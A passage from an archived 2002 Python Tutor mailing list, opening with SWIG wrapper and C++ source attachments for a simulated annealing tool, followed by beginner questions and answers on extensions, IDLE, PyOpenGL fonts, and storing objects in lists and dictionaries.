_wrap_new_string_string_char, METH_VARARGS }, { (char *)"delete_string", _wrap_delete_string, METH_VARARGS }, { (char *)"string_clean", _wrap_string_clean, METH_VARARGS }, { (char *)"string_cat_string", _wrap_string_cat_string, METH_VARARGS }, { (char *)"string_cat", _wrap_string_cat, METH_VARARGS }, { (char *)"string_copy_string", _wrap_string_copy_string, METH_VARARGS }, { (char *)"string_copy_char", _wrap_string_copy_char, METH_VARARGS }, { (char *)"string_copy_dl", _wrap_string_copy_dl, METH_VARARGS }, { (char *)"string_copy_i", _wrap_string_copy_i, METH_VARARGS }, { (char *)"string_copy", _wrap_string_copy, METH_VARARGS }, { (char *)"string_out", _wrap_string_out, METH_VARARGS }, { (char *)"string_ncopy_string_i", _wrap_string_ncopy_string_i, METH_VARARGS }, { (char *)"string_ncopy", _wrap_string_ncopy, METH_VARARGS }, { (char *)"string_compose_str_str_char", _wrap_string_compose_str_str_char, METH_VARARGS }, { (char *)"string_compose_str_char_char", _wrap_string_compose_str_char_char, METH_VARARGS }, { (char *)"string_compose_str_d_char", _wrap_string_compose_str_d_char, METH_VARARGS }, { (char *)"string_compose", _wrap_string_compose, METH_VARARGS }, { (char *)"string_element", _wrap_string_element, METH_VARARGS }, { (char *)"string_compose_struct_string", _wrap_string_compose_struct_string, METH_VARARGS }, { (char *)"string_compare", _wrap_string_compare, METH_VARARGS }, { (char *)"string_strcompspan_chari", _wrap_string_strcompspan_chari, METH_VARARGS }, { (char *)"string_strcompspan_struct_stringi", _wrap_string_strcompspan_struct_stringi, METH_VARARGS }, { (char *)"string_string_complement_span", _wrap_string_string_complement_span, METH_VARARGS }, { (char *)"string_stringspan_struct_stringi", _wrap_string_stringspan_struct_stringi, METH_VARARGS }, { (char *)"string_string_span", _wrap_string_string_span, METH_VARARGS }, { (char *)"string_stringstring_struct_string_char", _wrap_string_stringstring_struct_string_char, METH_VARARGS }, { (char *)"string_stringstring_structstring_structstring", _wrap_string_stringstring_structstring_structstring, METH_VARARGS }, { (char *)"string_string_string", _wrap_string_string_string, METH_VARARGS }, { (char *)"string_string_character", _wrap_string_string_character, METH_VARARGS }, { (char *)"string_string_pointer_break", _wrap_string_string_pointer_break, METH_VARARGS }, { (char *)"string_fileopen", _wrap_string_fileopen, METH_VARARGS }, { (char *)"string_fileread", _wrap_string_fileread, METH_VARARGS }, { (char *)"string_filereadc", _wrap_string_filereadc, METH_VARARGS }, { (char *)"string_filewrite_string_char", _wrap_string_filewrite_string_char, METH_VARARGS }, { (char *)"string_filewrite", _wrap_string_filewrite, METH_VARARGS }, { (char *)"string_system_call", _wrap_string_system_call, METH_VARARGS }, { (char *)"string_init", _wrap_string_init, METH_VARARGS }, { (char *)"print", _wrap_print, METH_VARARGS }, { (char *)"strprint_structstring_char_char", _wrap_strprint_structstring_char_char, METH_VARARGS }, { (char *)"strprint_structstring_int_char_char", _wrap_strprint_structstring_int_char_char, METH_VARARGS }, { (char *)"strprint", _wrap_strprint, METH_VARARGS }, { NULL, NULL } }; #ifdef __cplusplus } #endif /* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */ static swig_type_info _swigt__p_variablelist[] = {{"_p_variablelist", 0, "struct variablelist *"},{"_p_variablelist"},{0}}; static swig_type_info _swigt__p_simulated_annealing[] = {{"_p_simulated_annealing", 0, "simulated_annealing *"},{"_p_simulated_annealing"},{0}}; static swig_type_info _swigt__p_basisfile[] = {{"_p_basisfile", 0, "struct basisfile *"},{"_p_basisfile"},{0}}; static swig_type_info _swigt__p_FILE[] = {{"_p_FILE", 0, "FILE *"},{"_p_FILE"},{0}}; static swig_type_info _swigt__p_variable[] = {{"_p_variable", 0, "struct variable *"},{"_p_variable"},{0}}; static swig_type_info _swigt__p_simanneal_varlist[] = {{"_p_simanneal_varlist", 0, "struct simanneal_varlist *"},{"_p_simanneal_varlist"},{0}}; static swig_type_info _swigt__p_evaluate[] = {{"_p_evaluate", 0, "evaluate *"},{"_p_evaluate"},{0}}; static swig_type_info _swigt__p_p_char[] = {{"_p_p_char", 0, "char **"},{"_p_p_char"},{0}}; static swig_type_info _swigt__p_string[] = {{"_p_string", 0, "struct string *"},{"_p_string"},{0}}; static swig_type_info *swig_types_initial[] = { _swigt__p_variablelist, _swigt__p_simulated_annealing, _swigt__p_basisfile, _swigt__p_FILE, _swigt__p_variable, _swigt__p_simanneal_varlist, _swigt__p_evaluate, _swigt__p_p_char, _swigt__p_string, 0 }; /* -------- TYPE CONVERSION AND EQUIVALENCE RULES (END) -------- */ static swig_const_info swig_const_table[] = { {0}}; static PyObject *SWIG_globals; #ifdef __cplusplus extern "C" #endif SWIGEXPORT(void) initsimannealfile(void) { PyObject *m, *d; int i; SWIG_globals = SWIG_newvarlink(); m = Py_InitModule((char*)"simannealfile", simannealfileMethods); d = PyModule_GetDict(m); for (i = 0; swig_types_initial[i]; i++) { swig_types[i] = SWIG_TypeRegister(swig_types_initial[i]); } SWIG_InstallConstants(d,swig_const_table); } --------------090302080802010307050504 Content-Type: text/plain; name="variable.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="variable.cpp" #include "variable.h" #include "basisfile.h" variable::variable () { sv = NULL; dprecision = 6; type = '0'; } variable::variable (char t) { init (t); } variable::variable (double d, int prec) { init (d, prec); } variable::variable (int i) { init (i); } variable::variable (struct string &s) { init (s); } variable::~variable () { } void variable::init (char t) { type = t; sv = NULL; } void variable::init (double d, int prec) { sv = NULL; dv = d; dprecision = prec; type = 'd'; } void variable::init (int i) { sv = NULL; iv = i; type = 'i'; } void variable::init (struct string &s) { sv = new struct string; sv->copy (s); type = 's'; } struct variable &variable::operator= (struct variable &v) { (*this).type = v.type; switch (v.type) { case 'd': (*this).dv = v.dv; (*this).dprecision = v.dprecision; break; case 'i': (*this).iv = v.iv; break; case 's': (*this).sv = new struct string; (*this).sv->copy (*(v.sv)); break; default: printf ("&variable::operator= (struct variable &v):\n "); printf ("Unknown type `%c'.\n", v.type); exit (1); break; } return *this; } int variable::copy (struct string &s) { char *str; s.out (&str); switch (type) { case 'd' : /* double value */ if (!sscanf(str, "%lf", &dv)) { printf ("variable::copy (struct string &s):\n "); printf ("Error while reading double value in from string:\n "); strprint (s, "`", "'\n"); return 1; } break; case 'i' : /* integer value */ if (!sscanf(str, "%d", &dv)) { printf ("variable::copy (struct string &s):\n "); printf ("Error while reading integer value in from string:\n "); strprint (s, "`", "'\n"); return 1; } break; break; case 's' : /* string value */ sv = new struct string (s); break; default : printf ("variable::copy (struct string &s):\n "); printf ("Unknown type of variable `%c'.\n", type); return 1; } return 0; } simanneal_parameter::simanneal_parameter () { dx = NULL; } simanneal_parameter::~simanneal_parameter () { if (dx) { delete dx; dx = NULL; } } variablelist::variablelist () { next = NULL; text = NULL; x_now = NULL; x_opt = NULL; x_min = NULL; x_max = NULL; sap = NULL; } variablelist::~variablelist () { clean (); } void variablelist::clean () { clean (this); } void variablelist::clean (struct variablelist *vl) { if (vl) { if (vl->next) { clean (vl->next); vl->next = NULL; } preseparator.clean (); pastseparator.clean (); if (x_opt) { delete x_opt; x_opt = NULL; } if (x_now) { delete x_now; x_now = NULL; } if (x_min) { delete x_min; x_min = NULL; } if (x_max) { delete x_max; x_max = NULL; } if (text) { delete text; text = NULL; } if (sap) { delete sap; sap = NULL; } } } int variablelist::pt2xn (int n) { int i=0; struct variablelist *help = this; while (help && ix_now->copy (help->text->parameter_text)) { printf ("variablelist::pt2xn (int n):\n "); printf ("Error while copying parameter_text to x_now.\n"); return 1; } help = help->next; i++; } return 0; } int read_double (double &dv, struct variable *v) { if (v->type == 'd') { dv = v->dv; return 0; } printf ("read_double:\n"); printf (" variable contains `%c'-value instead of double (`d').\n", v->type); return 1; } int random_step (struct variable *point, struct variable *intervall) { double p, i; switch (point->type) { case 'd' : /* double value */ if (read_double(p, point)) { printf("random_step:\n Error while reading point.\n"); return 1; } if (read_double(i, intervall)) { printf("random_step:\n Error while reading intervall.\n"); return 1; } point->dv = point->dv - i + 2*i*rand()/RAND_MAX; break; case 'i' : /* integer value */ printf ("random_step:\n Stepping with integers isn't implemented yet.\n"); return 1; break; case 's' : /* string value */ printf ("random_step:\n Stepping with strings isn't implemented yet.\n"); return 1; break; default : printf ("random_step:\n Unknown type of point `%c'.\n", point->type); return 1; } return 0; } int smaller (struct variable *v1, struct variable *v2) { switch (v1->type) { case 'd' : /* double value */ double d2; if (read_double(d2, v2)) { printf("smaller:\n Error while reading v2.\n"); return -1; } return (v1 < v2); break; case 'i' : /* integer value */ printf ("smaller:\n Comparison with integers isn't implemented yet.\n"); return -1; break; case 's' : /* string value */ printf ("smaller:\n Comparison with strings isn't implemented yet.\n"); return -1; break; default : printf ("smaller:\n Unknown type of v1 `%c'.\n", v1->type); return -1; } return 0; } int greater (struct variable *v1, struct variable *v2) { switch (v1->type) { case 'd' : /* double value */ double d2; if (read_double(d2, v2)) { printf("greater:\n Error while reading v2.\n"); return -1; } return (v1 > v2); break; case 'i' : /* integer value */ printf ("greater:\n Comparison with integers isn't implemented yet.\n"); return -1; break; case 's' : /* string value */ printf ("greater:\n Comparison with strings isn't implemented yet.\n"); return -1; break; default : printf ("greater:\n Unknown type of v1 `%c'.\n", v1->type); return -1; } return 0; } --------------090302080802010307050504 Content-Type: text/plain; name="variable.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="variable.h" #ifndef VARIABLE_H #define VARIABLE_H #include "safe_string.h" struct variable { variable (); variable (char t); variable (double d, int prec = 6); variable (int i); variable (struct string &s); ~variable (); struct variable &operator = (struct variable &v); void init (char t); void init (double d, int prec = 6); void init (int i); void init (struct string &s); int copy (struct string &s); char type; double dv; int dprecision; int iv; struct string *sv; }; struct simanneal_parameter { simanneal_parameter (); ~simanneal_parameter (); /* maximum of deviation from actual x */ struct variable *dx; }; struct variablelist { variablelist (); ~variablelist (); void clean (); void clean (struct variablelist *vl); int number; int linenumber; int position; struct string preseparator; struct string pastseparator; struct string *x_opt; struct variable *x_now; struct variable *x_min; struct variable *x_max; struct filetext *text; struct variablelist *next; /* parameter for simulated annealing for one variable. */ struct simanneal_parameter *sap; /* copies parametertext's to x_now for n variables.*/ int pt2xn (int n); }; int read_double (double &dv, struct variable *v); int smaller (struct variable *v1, struct variable *v2); int greater (struct variable *v1, struct variable *v2); /* builds new point from point and intervall randomly. New point is inside intervall [point-intervall; point+intervall]. */ int random_step (struct variable *point, struct variable *intervall); void print (struct variablelist *vl); #endif --------------090302080802010307050504-- From ak@silmarill.org Sun Feb 3 16:58:36 2002 From: ak@silmarill.org (Andrei Kulakov) Date: Sun, 3 Feb 2002 11:58:36 -0500 Subject: [Tutor] Clearing interpreter buffer? In-Reply-To: <4.2.0.58.20020203084820.019f2100@pop3.norton.antivirus> References: <4.2.0.58.20020203084820.019f2100@pop3.norton.antivirus> Message-ID: <20020203165836.GA15029@ak.silmarill.org> On Sun, Feb 03, 2002 at 08:51:13AM -0800, Kirby Urner wrote: > > My friend John is running a Python script with lots > of print statements in some looping program. > > The data scrolls and scrolls, maybe all day long, and > he says its filling up the history buffer -- what IDLE > keeps around to scroll back through. > > He'd like to periodically delete this buffer or clear > it, from within his program. > > Is there a way? > > Kirby I would append it to a file and do tail -f command on it, or just open it in a text editor and keep refreshing it. -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From dyoo@hkn.eecs.berkeley.edu Sun Feb 3 19:12:32 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 3 Feb 2002 11:12:32 -0800 (PST) Subject: [Tutor] C++ Extension Problems (Part2) [avoid sending hugeattachments] In-Reply-To: <3C5D6676.3040100@gmx.de> Message-ID: On Sun, 3 Feb 2002, Keule wrote: > Here are the missing 3 files , sending seperate, because of the > Limitation of 40 kb/mail. Hi Keule, There's a good reason why we have a 40kb limit on emails: it's to prevent people from sending that much source code to Tutor. Guess you tried to work around that. *cough* A better solution: you can put your code on the Web somewhere, and post a link to it. This allows us to look at your source code at any time. From csmith@blakeschool.org Sun Feb 3 19:45:17 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Sun, 03 Feb 2002 13:45:17 -0600 Subject: [Tutor] Re: sitecustomize and pythonstartup In-Reply-To: References: Message-ID: >#### >def isInteractive(): > """Returns 1 if we're running in an interpreter window, and false > otherwise. This is a variation of what pydoc.help() tries.""" > return inspect.stack()[3][1].find("PyInteractive")<>0 > >class _InteractiveMath: > def __repr__(self): > if isInteractive(): > import math > return repr(math) > else: > raise NameError, 'name "math" is not defined' Raising an error in this function presents a problem to you when you want to "Browse the namespace" of a script window since the browser apparently calls this function which generates the NameError. I have replaced this error with return "Loaded for interactive use by sitecustomize.py." /c From kp87@lycos.com Sun Feb 3 20:11:32 2002 From: kp87@lycos.com (kevin parks) Date: Mon, 04 Feb 2002 05:11:32 +0900 Subject: [Tutor] C++ Extension Problems Message-ID: You shouldn't smoke crack and send e-mail to the Python tutor mailing list. My mail spool thanks you. ps. I was going to attach the entire contents of my hard disk to this message in both text, HTML, and as a mime attachement since that now seems to be a 'requirement' to being on this list, but I was in a bit of a rush to use my computer today. REPEAT: Put down the crack pipe. Put down the crackpipe... From kp87@lycos.com Sun Feb 3 20:17:48 2002 From: kp87@lycos.com (kevin parks) Date: Mon, 04 Feb 2002 05:17:48 +0900 Subject: [Tutor] C++ Extension Problems (Part2) (Keule) Message-ID: >Here are the missing 3 files , sending seperate, because of the >Limitation of 40 kb/mail. Marcus, baby! Thanks. We are all so happy to have these files. I am so excited. I wonder why there would even be a 40kb mail limit? It seems unreasonable! One surely should be able to send Gigs and Gigs of code to hundreds of people simultaneously! Why post them on the web and send a link? That would be silly! (if there is a 40kb how i was able to get a 700kb tutor mail digest?!) From wilson@isis.visi.com Sun Feb 3 20:32:13 2002 From: wilson@isis.visi.com (Tim Wilson) Date: Sun, 3 Feb 2002 14:32:13 -0600 (CST) Subject: [Tutor] help? In-Reply-To: <001b01c1acb7$09ddad80$b6aa01d5@callum> Message-ID: On Sun, 3 Feb 2002, Callum Golding wrote: > I'm sorry to bother you, but i was wondering if you could give me a little advice. I've recently downloaded Python 2.2. Ive read a begginers guide to programming and tried creating a small program, I used the input function. Now as soon as I open the program it goes into dos and asks me the question, and when i type in an anwser, dos shuts down. Now its really starting to bug me. If you could give me some advice I would be real grateful. The program I wrote is below; - It's no bother. The problem is that the DOS window is closing immediately upon your program exiting. Annoying, isn't it. :-) One way to "fix" this is to add an input line at the end of your program like this: end = raw_input("Press a key to end...") This will leave the window open until you press a key. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From e.kotyk@shaw.ca Sun Feb 3 20:26:29 2002 From: e.kotyk@shaw.ca (Eve Kotyk) Date: Sun, 03 Feb 2002 20:26:29 +0000 Subject: [Tutor] C++ Extension Problems (Part2) (Keule) References: Message-ID: <3C5D9CF5.AEDADA56@shaw.ca> > I wonder why there would even be a 40kb mail limit? It seems unreasonable! One surely should be able to send Gigs and Gigs of code to hundreds of people simultaneously! Why post them on the web and send a link? That would be silly! Ok cool it with the criticisms already. One is enough. Maybe someone can help with the keule's programming problem. -- ekotyk http://members.shaw.ca/e.kotyk/virtualstudio.htm From nluken@earthlink.net Sun Feb 3 20:58:23 2002 From: nluken@earthlink.net (Noah Luken) Date: Sun, 03 Feb 2002 15:58:23 -0500 Subject: [Tutor] Re: Tutor digest, Vol 1 #1397 - 3 msgs In-Reply-To: Message-ID: <5.0.2.1.2.20020203150745.028c0a60@pop3.norton.antivirus> Hi everyone, I've been puzzling out python and opengl and trying to convert some of nehe's opengl tutorials to python, but I'm running into problems. I've subscribed and written to the pyopengl list about a week or so ago with a question regarding GLU routines and nurbs, but haven't heard from anyone. That question is *really* specific, and so I'm hesitant to post it here. The question for this group is a little less specific. I'm trying to translate, as closely as possible, nehe's 13th tutorial: http://nehe.gamedev.net/tutorials/lesson13.asp, which covers using bitmapped fonts. Rather than using the standard GLUT routines (which provide pretty limited numbers and kinds of fonts) I wanted to use OpenGL.WGL.wglUseFontBitmaps(), win32ui, and win32com to convert fonts on my system to opengl-usable bitmaps. the basic question is about the definition of the hDC, handles, and so on. ### begin code snippet... from OpenGL.GL import * from OpenGL.GLUT import * from OpenGL.GLU import * from OpenGL.WGL import * from wxPython.wx import * # don't know if all these are necessary import win32ui, win32con # not sure if win32con is needed hDC = win32ui.CreateDC() # could also be CreateDCFromHandle() base = [] props = {"name":"Courier New",\ "size":-24,\ "weight":400,\ "italic":0,\ "underline":0.} def BuildFont(): global hDC, base base = glGenLists(96) font = win32ui.CreateFont(props) oldfont = hDC.SelectObject(font) wglUseFontBitmaps(wglGetCurrentDC(),32,96,base) SelectObject(hDC, oldfont) DeleteObject(font) ### the problems in the interactive shell are these: >>> oldfont = hDC.SelectObject(font) Traceback (most recent call last): File "", line 1, in ? oldfont = hDC.SelectObject(font) win32ui: Select font object failed >>> wglUseFontBitmaps(hDC,32,96,base) Traceback (most recent call last): File "", line 1, in ? wglUseFontBitmaps(hDC,32,96,base) TypeError: an integer is required I might be getting in over my head here, trying to understand the intricacies of the drawing contexts and so forth. I'm just trying to get this simplest case (truetype fonts in opengl with python) to work. Any help, references, emails of gurus, etc. would be mightily appreciated. thanks everyone, noah luken nluken@earthlink.net From cheshire_cat_sf@yahoo.com Sun Feb 3 21:25:34 2002 From: cheshire_cat_sf@yahoo.com (Britt Green) Date: Sun, 3 Feb 2002 13:25:34 -0800 (PST) Subject: [Tutor] Instantiating large numbers of objects? In-Reply-To: <4.2.0.58.20020202182403.00ca3bb0@pop3.norton.antivirus> Message-ID: <20020203212534.27753.qmail@web14102.mail.yahoo.com> Hello Kirby: I'm trying to keep things in my text adventure as simple as possible. When I started this project some time ago, it quickly got out of hand with all the things I wanted to add into it. So now that I'm picking it up again, I'm definately trying to keep it easy. Hard-coding the rooms into the code seems the simplest way to create my rooms. I was thinking that each room would have the following attributes, initially: a unique room number a description a dictionary of exits (ie: {'n':1, 'e':3, 's':4} Eventually I'll want to move the room descriptions into a seperate text file, but that's further down the road. Right now my little world has about twenty or thirty rooms total so hard-coding them is fine for now. So...let me rephrase my question. When I was learning Java, we created a class for bank accounts. Each account was a seperate class instance. If you had three accounts, you'd create three instances in your code: bob = new Account() sue = new Accout() jim = new Account() and then you'd call the class methods like so: bob.makeWithdrawl(500) sue.checkBalance() jim.makeDeposit(200) So far this is the only way I know of to instantiate classes. Obviously when a bank uses this software, they wouldn't open up the code to add new accounts. How would they create new instances of the Account class? I seem to recall being told once that in C or Java one would create an array or Vector of objects. I was thinking I would do the same thing with my Rooms, except Python doesn't have arrays or Vectors. I apologize if I'm not explaning myself clearly. This is still pretty new to me and I'm not 100% sure how to phrase my question. Hopefully the readers of this list are smart enough to figure out what I'm saying though! ;) Britt --- Kirby Urner wrote: > > > > >Thanks to everyone who's helping me out. When I'm famous > >and wealthy, I promise to remember you all! ;) > > > >Britt > > If you have lots of detailed, specific room info, then > there's no substitute for having this info *somewhere*. > You can have it in the code (it scales if you add to > the code) or you can have it in a file, which your > code reads, and uses to create objects. > > Where should these objects live? We've talked about putting > them in a dictionary, where they can be accessed by name. > We've also looked at adding new objects to globals e.g. > by going: globals()['thegreathall']=Room() > > A dungeon or castle is a sophisticated data structure > (potentially). Rooms exit to other rooms, so one approach > is to save where the exits go, as attributes of the rooms. > You could have Connection objects and use composition > I suppose, e.g. > > class Kitchen(Room): > def __init__(self): > self.exit1 = Connection("Hall") > self.exit2 = Connection("DiningRoom") > > In this model, rooms are class definitions, not just > instantiations of Rooms. Given the info associated with > each room, this might work better. > > Detailed advice is difficult, because what shapes the > design is the overall structure and purpose of the game > or whatever. Just knowing you want "a lot of rooms" > is an insufficient basis for more than a few tips. > So I'll be quiet now. > > Kirby ===== "The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman." __________________________________________________ Do You Yahoo!? Great stuff seeking new owners in Yahoo! Auctions! http://auctions.yahoo.com From djm_gohan@hotmail.com Sun Feb 3 20:22:27 2002 From: djm_gohan@hotmail.com (Daniel McCauley) Date: Sun, 3 Feb 2002 15:22:27 -0500 Subject: [Tutor] (no subject) Message-ID: ------=_NextPart_001_0000_01C1ACC6.96B17980 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Daniel McCaulley United States, FL =20 E-mail: djm_gohan@hotmail.com I really just want to know how to become a game hackerGet more from the W= eb. FREE MSN Explorer download : http://explorer.msn.com ------=_NextPart_001_0000_01C1ACC6.96B17980 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable


Daniel= McCaulley
United States, FL
E-mail: djm_gohan@hotmail.com
I really just want to kn= ow how to become a game hacker


Get= more from the Web. FREE MSN Explorer download : http://explorer.msn.com

------=_NextPart_001_0000_01C1ACC6.96B17980-- From rkashyap@sympatico.ca Sun Feb 3 21:40:04 2002 From: rkashyap@sympatico.ca (Ramkumar Kashyap) Date: Sun, 03 Feb 2002 16:40:04 -0500 Subject: [Tutor] Newbie question Message-ID: <3C5DAE34.7040607@sympatico.ca> Hi! I am trying to open a txt file and count the number of lines. I am trying to figure out if I need to use fileinput and lines() or will the readlines() also give me the count. I am going through the documentation and there is no e.g. for usage of calling different builtin functions, so it seems a little cryptic at times. regards, Kumar From dyoo@hkn.eecs.berkeley.edu Sun Feb 3 21:43:32 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 3 Feb 2002 13:43:32 -0800 (PST) Subject: [Tutor] C++ Extension Problems In-Reply-To: <3C5D5117.2000708@gmx.de> Message-ID: On Sun, 3 Feb 2002, Keule wrote: > and try to import it into the simannealfile.py modul, but pythonwin > always gives the following error: > > File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 394, > in ImportFile > exec codeObj in __main__.__dict__ > File "", line 1, in ? > ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. > Traceback (most recent call last): > File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301, > in RunScript > exec codeObject in __main__.__dict__ > File > "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py", > line 2, in ? > import simannealfile > ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. > > I checked out the examples, delivered with SWIG, and compared them > with my Settings under Visual C++. The Examples are all functioned and > now i absolutly did'nt know whats going wrong and why i always get the > Errormessage above. I've put my files with these mail. Perhaps anyone > of you could check my settings an can give me an advice what's going > wrong. Hi Keule, Have you checked to see if this is specifically a PythonWin problem? Does the import work in a regular Python console window? To me, the error message sounds less like a SWIG problem and more of a PYTHONPATH thing, so you may want to see if adjusting the PYTHONPATH has any effects. Also, I don't know if SWIG is guaranteed to work perfectly with C++ code; you may want to try the Boost Python libraries instead: http://www.boost.org/libs/python/doc Boost Python is designed to make it easy to interface with C++, so it might fit better with your simulated annealing code. I can't check if the Visual C++ Makefile is doing the right thing, as I don't have Visual C++. I don't know if any of us here at Tutor have too much experience with Visual C++ and SWIG either. Your best bet to get good help may be to contact the SWIG folks here: http://mailman.cs.uchicago.edu/mailman/listinfo/swig Anyway, sorry for the grumpy reply earlier; I reacted badly when I saw so many attachments, and I apologize for that. From virketis@fas.harvard.edu Sun Feb 3 21:46:38 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Sun, 3 Feb 2002 16:46:38 -0500 Subject: [Tutor] Instantiating large numbers of objects? Message-ID: <006501c1acfc$42008170$18adf78c@virketis2> Britt, > I seem to recall being told once that in C or Java one would create an >array or Vector of objects. I was thinking I would do the same thing > with my Rooms, except Python doesn't have arrays or Vectors. I believe that the Python list data structure (http://www.python.org/doc/current/tut/node5.html) can be used analogously to arrays in C(a vector, at least in math, is a n-by-1 array, and a list is good here too). Did you consider them? Is there some reason they would be inadequate? Cheers, Pijus From rkashyap@sympatico.ca Sun Feb 3 21:47:10 2002 From: rkashyap@sympatico.ca (Ramkumar Kashyap) Date: Sun, 03 Feb 2002 16:47:10 -0500 Subject: [Tutor] Re:Newbie Message-ID: <3C5DAFDE.1080603@sympatico.ca> Hi! I have just started programming and am using the "How to think like a Computer Scientist: using Python" which is available for free on the internet, just like Python. It is written for high school students to learn programming and is extremely easy reading. The fundamentals are explained in great detail as compared to Learning Python, which assumes some level of programming knowledge. I also find going through the tutorials provided with Python and reading the online manuals also helps quite a bit, though may confuse you at times. regards, Kumar From dyoo@hkn.eecs.berkeley.edu Sun Feb 3 22:03:20 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 3 Feb 2002 14:03:20 -0800 (PST) Subject: [Tutor] Instantiating large numbers of objects? [lists and dictionaries] In-Reply-To: <20020203212534.27753.qmail@web14102.mail.yahoo.com> Message-ID: On Sun, 3 Feb 2002, Britt Green wrote: > If you had three accounts, you'd create three instances in your code: > > bob = new Account() > sue = new Accout() > jim = new Account() > > and then you'd call the class methods like so: > > bob.makeWithdrawl(500) > sue.checkBalance() > jim.makeDeposit(200) > > So far this is the only way I know of to instantiate classes. > Obviously when a bank uses this software, they wouldn't open up the > code to add new accounts. How would they create new instances of the > Account class? I seem to recall being told once that in C or Java one > would create an array or Vector of objects. I was thinking I would do > the same thing with my Rooms, except Python doesn't have arrays or > Vectors. Although Python doesn't have arrays or Vectors, it does have a similar container class: Python has the 'list' type. Here's an example: ### >>> class Person: ... def __init__(self, name): ... self.name = name ... def sing(self): ... print "tra la la, my name is", self.name ... >>> names = ['bart', 'lisa', 'marge', 'homer'] >>> people = [] >>> for n in names: ... people.append(Person(n)) ... >>> people [<__main__.Person instance at 80a2b28>, <__main__.Person instance at 80d3498>, < __main__.Person instance at 80d34d0>, <__main__.Person instance at 80d3540>] ### In this example, we assign 'people' initially to the empty list, '[]'. If we're given some list of names, we can easily create instances for each name, and add them to our list. By using a list, we avoid hardcoding the number of people our program can deal with. The append() method on Python lists is equivalent to the "push_back()" method in C++ vectors. Once we have this list of people, we can pick any one of them by index: ### >>> people[0].sing() tra la la, my name is bart ### But people often don't like to be labeled with numbers. It might be nicer to be able to say something like: people['bart'].sing() That is, it might be nice to use the person's name to pull them from our list container. In that case, we can use a more appropriate data structure, the dictionary: ### >>> people_dict = {} >>> for n in names: ... people_dict[n] = Person(n) ... >>> people_dict['lisa'].sing() tra la la, my name is lisa ### A Python dictionary is equivalent to Java's concept of a 'Map'. What's nice about Python's dictionary is that it uses very similar syntax to that of arrays --- this emphasizes the idea that Lists and Dictionaries implement the same idea of a container. Also, both of these data types are considered "primitive" in Python, which makes them very convenient to work with. Take a look at: http://www.python.org/doc/tut/node5.html#SECTION005140000000000000000 for an example of List usage. I think you'll find that Python lists are pretty darn casual compared to a C++ array. *grin* For information on Python dictionaries, see: http://www.python.org/doc/tut/node7.html#SECTION007400000000000000000 There's a lot of good information on these data types in almost every Python tutorial: http://python.org/doc/Intros.html and please feel free to ask questions about them; lists and dictionaries are fun to talk about. *grin* > I apologize if I'm not explaning myself clearly. This is still pretty > new to me and I'm not 100% sure how to phrase my question. Don't worry: your question makes perfect sense. I hope this answer somewhat reciprocates that. Good luck to you! From beazley@cs.uchicago.edu Sun Feb 3 22:03:20 2002 From: beazley@cs.uchicago.edu (David Beazley) Date: Sun, 3 Feb 2002 16:03:20 -0600 (CST) Subject: [Swig] Re: [Tutor] C++ Extension Problems In-Reply-To: References: <3C5D5117.2000708@gmx.de> Message-ID: <15453.45992.651223.614500@gargoyle.cs.uchicago.edu> Danny Yoo writes: > > > Also, I don't know if SWIG is guaranteed to work perfectly with C++ code; > you may want to try the Boost Python libraries instead: > > http://www.boost.org/libs/python/doc > > Boost Python is designed to make it easy to interface with C++, so it > might fit better with your simulated annealing code. Just for future reference, SWIG works perfectly fine with most C++ code. This is especially true for the SWIG-1.3.x series which can handle overloading, operators, templates, and a variety of other C++ features. There are a few things that Boost does differently which might be better suited to certain applications. However, SWIG-C++ support is by no means crippled. However, I concur that this problem sounds like less of a SWIG issue and more of an environment problem (Python path, linking, compilation, whatever). Not sure exactly. Cheers, Dave From urnerk@qwest.net Sun Feb 3 22:12:06 2002 From: urnerk@qwest.net (Kirby Urner) Date: Sun, 03 Feb 2002 14:12:06 -0800 Subject: [Tutor] Instantiating large numbers of objects? In-Reply-To: <20020203212534.27753.qmail@web14102.mail.yahoo.com> References: <4.2.0.58.20020202182403.00ca3bb0@pop3.norton.antivirus> Message-ID: <4.2.0.58.20020203135909.00d35dc0@pop3.norton.antivirus> > >So far this is the only way I know of to instantiate classes. >Obviously when a bank uses this software, they wouldn't open >up the code to add new accounts. How would they create new >instances of the Account class? I seem to recall being told >once that in C or Java one would create an array or Vector of >objects. I was thinking I would do the same thing with my >Rooms, except Python doesn't have arrays or Vectors. Lists are pretty much the same thing. You access a list's elements by number, same as an array, starting from 0. But it seems sort of arbitrary to use numbers if you also have names handy. A dictionary lets you add an arbitrary number of objects and retrieve them by name, vs. number. Since order doesn't matter (why should the kitchen be a lower number than the bathroom), you've got another point in favor of using a dictionary. But didn't you post this question earlier, and get a number of responses e.g. from Lloyd Kvam, Karthik Gurumurthy, and myself? Here's an excerpt from an earlier reply: params = [ ("great hall","where trolls live",3), ("dungeon","not a fun place",0), ("tower room","where she sleeps",1)] listofRooms = [] for p in params: listofRooms.append(apply(Rooms,p)) Again, if you want to create a number of objects in a list, you can do it like this: listofrooms = [] # empty list for r in ["kitchen","hallway"...]: listofrooms.append(Room(r)) As was shown earlier, if your constructor expects three variables, and you have 3-tuples or 3-argument lists, you can use apply(function,tuple) for class definitions as well. apply gets around have to do something like: function(mytuple[0],mytuple[1],mytuple[2]) -- you just go apply(function,mytuple) instead. listofrooms = [] rooms = [('kitchen','place to 